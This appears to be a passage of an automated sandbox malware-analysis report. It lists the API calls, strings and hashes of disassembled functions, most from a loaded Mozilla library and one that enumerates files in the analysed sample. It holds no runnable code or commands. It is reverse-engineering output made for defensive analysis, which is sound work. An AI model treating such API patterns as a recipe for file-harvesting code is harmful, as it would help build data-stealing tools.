Opcode Fuzzy Hash: 1f2c7f51946155851da027c21168fad603b6e28e926516540751a3b944207960
Instruction Fuzzy Hash: 84E0ECA5914202A2CA14B7F9AC4AB2A329CFB24345F541524FA09D6553FE25E901877B

Non-executed Functions

Function 6CAA5440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587threadtimeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6CAA5492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAA54A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAA54BE
__Init_thread_footer.LIBCMT ref: 6CAA54DB

Part of subcall function 6CACAB3F: EnterCriticalSection.KERNEL32(6CB1E370,?,?,6CA93527,6CB1F6CC,?,?,?,?,?,?,?,?,6CA93284), ref: 6CACAB49
Part of subcall function 6CACAB3F: LeaveCriticalSection.KERNEL32(6CB1E370,?,6CA93527,6CB1F6CC,?,?,?,?,?,?,?,?,6CA93284,?,?,6CAB56F6), ref: 6CACAB7C

Part of subcall function 6CACCBE8: GetCurrentProcess.KERNEL32(?,6CA931A7), ref: 6CACCBF1
Part of subcall function 6CACCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA931A7), ref: 6CACCBFA

GetCurrentThreadId.KERNEL32 ref: 6CAA54F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6CAA5516
GetCurrentThreadId.KERNEL32 ref: 6CAA556A
AcquireSRWLockExclusive.KERNEL32(6CB1F4B8), ref: 6CAA5577
moz_xmalloc.MOZGLUE(00000070), ref: 6CAA5585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6CAA5590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6CAA55E6
ReleaseSRWLockExclusive.KERNEL32(6CB1F4B8), ref: 6CAA5606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAA5616

Part of subcall function 6CACAB89: EnterCriticalSection.KERNEL32(6CB1E370,?,?,?,6CA934DE,6CB1F6CC,?,?,?,?,?,?,?,6CA93284), ref: 6CACAB94
Part of subcall function 6CACAB89: LeaveCriticalSection.KERNEL32(6CB1E370,?,6CA934DE,6CB1F6CC,?,?,?,?,?,?,?,6CA93284,?,?,6CAB56F6), ref: 6CACABD1

GetCurrentThreadId.KERNEL32 ref: 6CAA563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAA5646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6CAA567C
free.MOZGLUE(?), ref: 6CAA56AE

Part of subcall function 6CAB5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CAB5EDB
Part of subcall function 6CAB5E90: memset.VCRUNTIME140(6CAF7765,000000E5,55CCCCCC), ref: 6CAB5F27
Part of subcall function 6CAB5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CAB5FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6CAA56E8
GetCurrentThreadId.KERNEL32 ref: 6CAA5707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6CAA570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6CAA5729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6CAA574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6CAA576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6CAA5796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6CAA57B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6CAA57CA

Strings

[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6CAA5AC9
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6CAA5749
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CAA54B9
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6CAA57AE
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CAA5724
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6CAA5D2B
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CAA5766
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6CAA5BBE
MOZ_BASE_PROFILER_HELP, xrefs: 6CAA5511
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CAA5791
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6CAA5C56
MOZ_PROFILER_STARTUP, xrefs: 6CAA55E1
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CAA548D
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6CAA5D24
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6CAA5D01
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CAA57C5
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6CAA5CF9
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6CAA5B38
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6CAA56E3
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6CAA5D1C
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6CAA584E
GeckoMain, xrefs: 6CAA5554, 6CAA55D5
[I %d/%d] profiler_init, xrefs: 6CAA564E
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6CAA5717
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CAA54A3

Memory Dump Source

Source File: 00000000.00000002.2390731613.000000006CA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2390714127.000000006CA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390784894.000000006CB0D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390805501.000000006CB1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390823204.000000006CB22000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: b9318f3e7168f7a714125a2f39ca3517416286146d142b246e880e611b511d13
Instruction ID: 7fed282b6188370a1f8b3d2a74b42b01426ac6df1fdb693eb7ae4660374e964b
Opcode Fuzzy Hash: b9318f3e7168f7a714125a2f39ca3517416286146d142b246e880e611b511d13
Instruction Fuzzy Hash: 802235B5A04B409FEB009FB5C51976A77F5AF46318F080929F84697F41EB30D88ACB57

Function 6CAA6C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727encryptionfileCOMMON

Download Yara Rule

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CAA6CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CAA6D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6CAA6D26

Part of subcall function 6CAACA10: malloc.MOZGLUE(?), ref: 6CAACA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6CAA6D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CAA6D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6CAA6D73
free.MOZGLUE(00000000), ref: 6CAA6D80
CertGetNameStringW.CRYPT32 ref: 6CAA6DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6CAA6DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CAA6DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6CAA6DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6CAA6E10
CryptMsgClose.CRYPT32(00000000), ref: 6CAA6E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6CAA6E34
CreateFileW.KERNEL32 ref: 6CAA6EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6CAA6F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CAA6F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6CAA709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CAA7103
free.MOZGLUE(00000000), ref: 6CAA7153
CloseHandle.KERNEL32(?), ref: 6CAA7176
__Init_thread_footer.LIBCMT ref: 6CAA7209
__Init_thread_footer.LIBCMT ref: 6CAA723A
__Init_thread_footer.LIBCMT ref: 6CAA726B
__Init_thread_footer.LIBCMT ref: 6CAA729C
__Init_thread_footer.LIBCMT ref: 6CAA72DC
__Init_thread_footer.LIBCMT ref: 6CAA730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6CAA73C2
VerSetConditionMask.NTDLL ref: 6CAA73F3
VerSetConditionMask.NTDLL ref: 6CAA73FF
VerSetConditionMask.NTDLL ref: 6CAA7406
VerSetConditionMask.NTDLL ref: 6CAA740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CAA741A
moz_xmalloc.MOZGLUE(?), ref: 6CAA755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CAA7568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6CAA7585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CAA7598
free.MOZGLUE(00000000), ref: 6CAA75AC

Part of subcall function 6CACAB89: EnterCriticalSection.KERNEL32(6CB1E370,?,?,?,6CA934DE,6CB1F6CC,?,?,?,?,?,?,?,6CA93284), ref: 6CACAB94
Part of subcall function 6CACAB89: LeaveCriticalSection.KERNEL32(6CB1E370,?,6CA934DE,6CB1F6CC,?,?,?,?,?,?,?,6CA93284,?,?,6CAB56F6), ref: 6CACABD1

Strings

(, xrefs: 6CAA768A
CryptCATAdminReleaseCatalogContext, xrefs: 6CAA72C8
SHA256, xrefs: 6CAA6EC0
wintrust.dll, xrefs: 6CAA72CD

Memory Dump Source

Source File: 00000000.00000002.2390731613.000000006CA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2390714127.000000006CA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390784894.000000006CB0D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390805501.000000006CB1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390823204.000000006CB22000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 6948b94de97eba5393272ce780f4569939c06352b5231aaaa30a2dd0cdbaaf04
Instruction ID: 51d79007db7c712d454713389b175df1f64d70f9824e850b11962a15ca4df895
Opcode Fuzzy Hash: 6948b94de97eba5393272ce780f4569939c06352b5231aaaa30a2dd0cdbaaf04
Instruction Fuzzy Hash: FD52D1B1A00254DFEB21DF64CC85BAB77B9EB45718F144199E908E7A40DB30AEC6CF91

Function 6CAD0DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CAD0F1F
LeaveCriticalSection.KERNEL32(?), ref: 6CAD0F99
memcpy.VCRUNTIME140(?,?,?), ref: 6CAD0FB7
EnterCriticalSection.KERNEL32(?), ref: 6CAD0FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6CAD1031
LeaveCriticalSection.KERNEL32(?), ref: 6CAD10D0
EnterCriticalSection.KERNEL32(?), ref: 6CAD117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6CAD1C39
EnterCriticalSection.KERNEL32(6CB1E744), ref: 6CAD3391
LeaveCriticalSection.KERNEL32(6CB1E744), ref: 6CAD33CD
LeaveCriticalSection.KERNEL32(?), ref: 6CAD3431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAD3437

Strings

Compile-time page size does not divide the runtime one., xrefs: 6CAD3946
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CAD3559, 6CAD382D, 6CAD3848
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6CAD3793
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CAD37D2
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CAD37BD
: (malloc) Unsupported character in malloc options: ', xrefs: 6CAD3A02
MOZ_CRASH(), xrefs: 6CAD3950
MALLOC_OPTIONS, xrefs: 6CAD35FE
<jemalloc>, xrefs: 6CAD3941, 6CAD39F1
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CAD37A8

Memory Dump Source

Source File: 00000000.00000002.2390731613.000000006CA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2390714127.000000006CA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390784894.000000006CB0D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390805501.000000006CB1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390823204.000000006CB22000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 52d23667b331250f2f91e73793c6e80d601baf4e6f24a4e464c4dd5c0c44cc6b
Instruction ID: a832752c71bd07c01f887e0d41a2da185f75acae5b04735fbe0a3810ebe0d323
Opcode Fuzzy Hash: 52d23667b331250f2f91e73793c6e80d601baf4e6f24a4e464c4dd5c0c44cc6b
Instruction Fuzzy Hash: 8F535B71A167018FD304CF29C544615BBF1BF89328F2AC76DE8A99BB91D771E881CB81

Function 6CAF34A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF3527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF35BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF35E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF3693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF36CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF3703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF3775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF3892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF38BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF3902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF3939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF3970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF39EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF3A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF3AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF3E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF3EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF3EE2

Part of subcall function 6CAF6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6CAF61DD
Part of subcall function 6CAF6180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6CAF622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF40F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF4157

Part of subcall function 6CAF6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6CAF6250
Part of subcall function 6CAF6180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAF6292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAF4448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CAF484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CAF4863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CAF4878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CAF4896
free.MOZGLUE ref: 6CAF489F

Strings

, xrefs: 6CAF4CD2

Memory Dump Source

Source File: 00000000.00000002.2390731613.000000006CA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2390714127.000000006CA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390784894.000000006CB0D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390805501.000000006CB1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390823204.000000006CB22000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 8513b2ded1ba2b2e3aba4a0c8e86815e0857dd9d4bb36df13bd375a0252bbd16
Instruction ID: 917951a58fbdcc714ac74a617aab40dd8d6c79bf700a1c81bc7e0b8ed68886dc
Opcode Fuzzy Hash: 8513b2ded1ba2b2e3aba4a0c8e86815e0857dd9d4bb36df13bd375a0252bbd16
Instruction Fuzzy Hash: 96F25B74908B808FC725CF28C18469AFBF1FFCA344F158A5EE99997751DB319886CB42

Function 6CAA64C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6CAA64DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6CAA64F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6CAA6505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6CAA6518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CAA652B
memcpy.VCRUNTIME140(?,?,?), ref: 6CAA671C
GetCurrentProcess.KERNEL32 ref: 6CAA6724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CAA672F
GetCurrentProcess.KERNEL32 ref: 6CAA6759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CAA6764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6CAA6A80
GetSystemInfo.KERNEL32(?), ref: 6CAA6ABE
__Init_thread_footer.LIBCMT ref: 6CAA6AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAA6AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAA6AF7

Strings

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6CAA6798
detoured.dll, xrefs: 6CAA64DA
nvd3d9wrap.dll, xrefs: 6CAA6500
_etoured.dll, xrefs: 6CAA64ED
nvdxgiwrap.dll, xrefs: 6CAA6513
user32.dll, xrefs: 6CAA6526

Memory Dump Source

Source File: 00000000.00000002.2390731613.000000006CA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2390714127.000000006CA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390784894.000000006CB0D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390805501.000000006CB1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390823204.000000006CB22000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: bccbf0b542c06f597ed58346c205b780a3a45c90f03d1c2e5d010acc9da2ff9b
Instruction ID: 59443249f8200ea1d928191a550fe717d6a220ee4734ae0a147b0539ef315412
Opcode Fuzzy Hash: bccbf0b542c06f597ed58346c205b780a3a45c90f03d1c2e5d010acc9da2ff9b
Instruction Fuzzy Hash: 32F1E371A052198FDB20CFA8CD48B9AB7B5AF05318F1842D9D819E3B41D731AEC6CF91

Function 008838B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 008838CC
FindFirstFileA.KERNEL32(?,?), ref: 008838E3
lstrcat.KERNEL32(?,?), ref: 00883935
StrCmpCA.SHLWAPI(?,00890F70), ref: 00883947
StrCmpCA.SHLWAPI(?,00890F74), ref: 0088395D
FindNextFileA.KERNEL32(000000FF,?), ref: 00883C67
FindClose.KERNEL32(000000FF), ref: 00883C7C

Strings

%s\%s, xrefs: 0088397A
%s\%s\%s, xrefs: 00883A4A
%s\*, xrefs: 008838C0
%s\%s, xrefs: 00883A6F
%s%s, xrefs: 00883AAD

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: ed69d514e2b1530c8bc2bcc4ac81a6ffed2c75c80c5ca26b9e247eb1d39264a4
Instruction ID: 19fd4858c61068afcbfc29ad3c8387cae4dcdd61a7e77cd3e304f6bce9d821dd
Opcode Fuzzy Hash: ed69d514e2b1530c8bc2bcc4ac81a6ffed2c75c80c5ca26b9e247eb1d39264a4
Instruction Fuzzy Hash: 46A150B2A00218ABDB24EFA4DC85FEE7379FB54700F044688E50DD6191EB759B85CF62

Function 6CAFC4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CAFC5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CAFC6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6CAFC74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6CAFC7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6CAFC9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CAFCC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CAFCD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CAFDB40
memcpy.VCRUNTIME140(?,?,?), ref: 6CAFDB62
memcpy.VCRUNTIME140(?,?,?), ref: 6CAFDB99
